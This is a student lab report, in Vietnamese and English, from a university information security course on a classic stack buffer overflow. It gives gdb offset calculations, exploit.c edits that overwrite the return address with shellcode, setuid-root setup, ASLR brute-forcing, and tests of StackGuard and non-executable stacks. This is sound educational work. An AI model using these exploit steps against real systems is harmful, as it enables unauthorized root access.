Lab2. Buffer Overflows | Báo cáo thực hành môn An toàn thông tin Trường đại học sư phạm kỹ thuật TP. Hồ Chí Minh
A generic buffer overflow occurs when a buffer that has been allocated a specific storage space has more data copied to it than it can handle. Buffer overflow steps: 1. Find the presense and location of buffer overflow vulnerability; 2. Write mote data into the buffer than it can handle; 3. Overwites the return address of a function; 4. Changes the execution flow to the hacker code. Tài liệu giúp bạn tham khảo, ôn tập và đạt kết quả cao. Mời bạn đọc đón xem!
Môn: An toàn thông tin (INSE330380)
Trường: Đại học Sư phạm Kỹ thuật Thành phố Hồ Chí Minh
Thông tin:
Tác giả:
Preview text:
Lab2. Buffer Overflows
A generic buffer overflow occurs when a buffer that has been allocated a specific
storage space has more data copied to it than it can handle. Buffer overflow steps:
1. Find the presense and location of buffer overflow vulnerability
2. Write mote data into the buffer than it can handle
3. Overwites the return address of a function
4. Changes the execution flow to the hacker code Submission:
You will compose a lab report that documents each step you take, including screenshots
to illustrate the effects of commands you type, and describing your observations. Simply
attaching code without any explanation will not receive credits Time duration: 1 week Lab guide: Step 0. Preparation
- Ubuntu 16.04 (32-bit)
- Source code: stack.c, exploit.c/exploit.py
- chuẩn bị máy ảo Ubuntu 16.04 và source code stack.c, exploit.c/exploit.c
Step 1. Disable address randomization
-Trong Ubuntu có sử dụng ngẫu nhiên không gian địa chỉ để ngẫu nhiên hóa địa
chỉ bắt đầu của heap và stack. Điều này làm cho việc đoán địa chỉ chính xác trở nên khó
khăn; việc đoán địa chỉ là một trong những bước quan trọng của các cuộc tấn công tràn
bộ đệm. Trong bài lab này, chúng ta sẽ tắt tính năng này bằng cách sử dụng lệnh sau:
$sudo sysctl –w kernel.randomize_va_space=0
Step 2. Finding the address of the inject code
-chúng ta thực hiện lệnh để biên dịch file stack.c:
$gcc –z execstack –fno-stack-protector –g –o stack_dbg stack.c
-z execstack: tùy chọn này chỉ định rằng ngăn xếp nên được đánh dấu là có thể thực thi
-fno-stack-protector: Tùy chọn này tắt các cơ chế bảo mật phát hiện và ngăn chặn
tràn bộ đệm dựa trên ngăn xếp.
-g: để cung cấp debug info
-Sau câu lệnh ta có file debug: stack_dbg. Tiếp theo tạo tập tin mới tên là badfile bằng lệnh touch. $touch badfile
-Bắt đầu debug bằng trình debug gdb qua câu lệnh sau: $gdb stack_dbg
-tiếp theo ta chạy câu lệnh dưới đây để tạo break point tại hàm bof: (gdb)b bof
-Giờ chúng ta sẽ thực hiện bước run để xác định địa chỉ của buffer và thanh ghi ebp (gdb)run (gdb)p $ebp
$1 = (void *) 0xbfffed38 theo hình ta có đc địa chỉ ebp: 0xbfffed38 (gdb)p &buffer
$2 = (char (*) [100]) 0xbfffed18 theo hình ta xác định địa chỉ của buffer 0xbfffed18
(gdb) p/d 0xbfffed38 - 0xbfffed18 tính khoảng cách từ ebp – buffer bằng cách
lấy địa chỉ của edp – địa chỉ của buffer ta được $3 = 32
Theo công thức: Return address = ebp + (32 + 4) = ebp + 36 Step 3. Edit exploit.c
/* Fill the return address fiel with a candidate entry point of the malicious code */
*((long *) (buffer + 36)) = 0xbfffed38 + 0x80;
/* Place the shellcode towards the end of the buffer */
Memcpy(buffer + sizeof(buffer) – sizeof(shellcode), shellcode, sizeof(shellcode));
- Sau khi thêm 2 đoạn code trên vào file exploit.c:
Step 4. Execute: Thực thi $ sudo ln -sf /bin/zsh /bin/sh
- Lệnh trên sẽ tạo một liên kết mềm từ /bin/sh đến /bin/zsh, cho phép chương
trình shell zsh được thực thi khi gọi /bin/sh, không bị ảnh hưởng bởi biện pháp phòng ngừa của dash.
$ gcc -o stack -z execstack -fno-stack-protector stack.c
-biên dịch file stack.c thanh file output
-chủ sở hữu của file này chưa phải root mà là user 1
-nên ta phải chuyển chủ sở hữu file stack về root $ sudo chown root stack
-chủ sở hữu đã là root. Tiếp theo ta thực hiện lệnh sau: $ sudo chmod 4755 stack
Số đầu tiên (4 trong trường hợp này) là một số đặc biệt chỉ ra rằng setuid (Set
User ID) được thiết lập. Nó cho phép chương trình chạy với quyền của người
dùng sở hữu của tệp thay vì quyền của người dùng thực hiện nó.
Các số sau đó (755 trong trường hợp này) là quyền truy cập cho chủ sở hữu,
nhóm và các người dùng khác, tương ứng với quyền rwxr-xr-x. $ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
-khai thác thành công euid=0 tức là root
Step 5. Defeating Address Randomization (ASLR)
Trên các máy Linux 32-bit, các ngăn xếp chỉ có 19 bit entropy, điều này có nghĩa là địa
chỉ cơ sở của ngăn xếp có thể có 2^19 = 524,288 khả năng. Số này không cao và có thể
dễ dàng bị cạn kiệt bằng cách sử dụng phương pháp dò mò brute-force. Trong nhiệm vụ
này, chúng ta sử dụng phương pháp như vậy để vượt qua biện pháp phòng thủ ngẫu nhiên
hóa địa chỉ trên máy ảo 32-bit của chúng ta. Đầu tiên, chúng ta bật tính năng ngẫu nhiên
hóa địa chỉ của Ubuntu bằng lệnh sau. Chúng ta chạy cuộc tấn công tương tự như đã phát triển trong Nhiệm vụ 2:
$sudo sysctl –w kernel.randomize_va_space=2
Sau đó, chúng ta sử dụng phương pháp brute-force bằng shell script này để tấn công
chương trình lặp đi lặp lại: $ chmod +x defeat_rand.sh $ ./defeat_rand.sh
-sử dụng 2 câu lệnh trên để chạy shell script
Nếu cuộc tấn công của tôi thành công, tập lệnh sẽ dừng; nếu không, nó sẽ tiếp tục chạy.
sau 1 phút 13 giây tập lệnh dừng tôi đã thành công đánh bại Address
Randomization (ASLR) bằng brute force
Step 6. Turn on the StackGuard Protection
you should compile the program without the -fno-stack-protector option
-tôi đã recompile lại chương trình mà không có -fno-stack-protector mà tùy chọn này tắt
các cơ chế bảo mật phát hiện và ngăn chặn tràn bộ đệm dựa trên ngăn xếp dẫn đến khai thác thất bại.
Step 7. Turn on the Non-executable Stack Protection
we recompile our vulnerable program using the noexecstack option
$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
-khai thác thất bại vì noexecstack: tùy chọn này chỉ định rằng ngăn xếp không được đánh
dấu là có thể thực thi.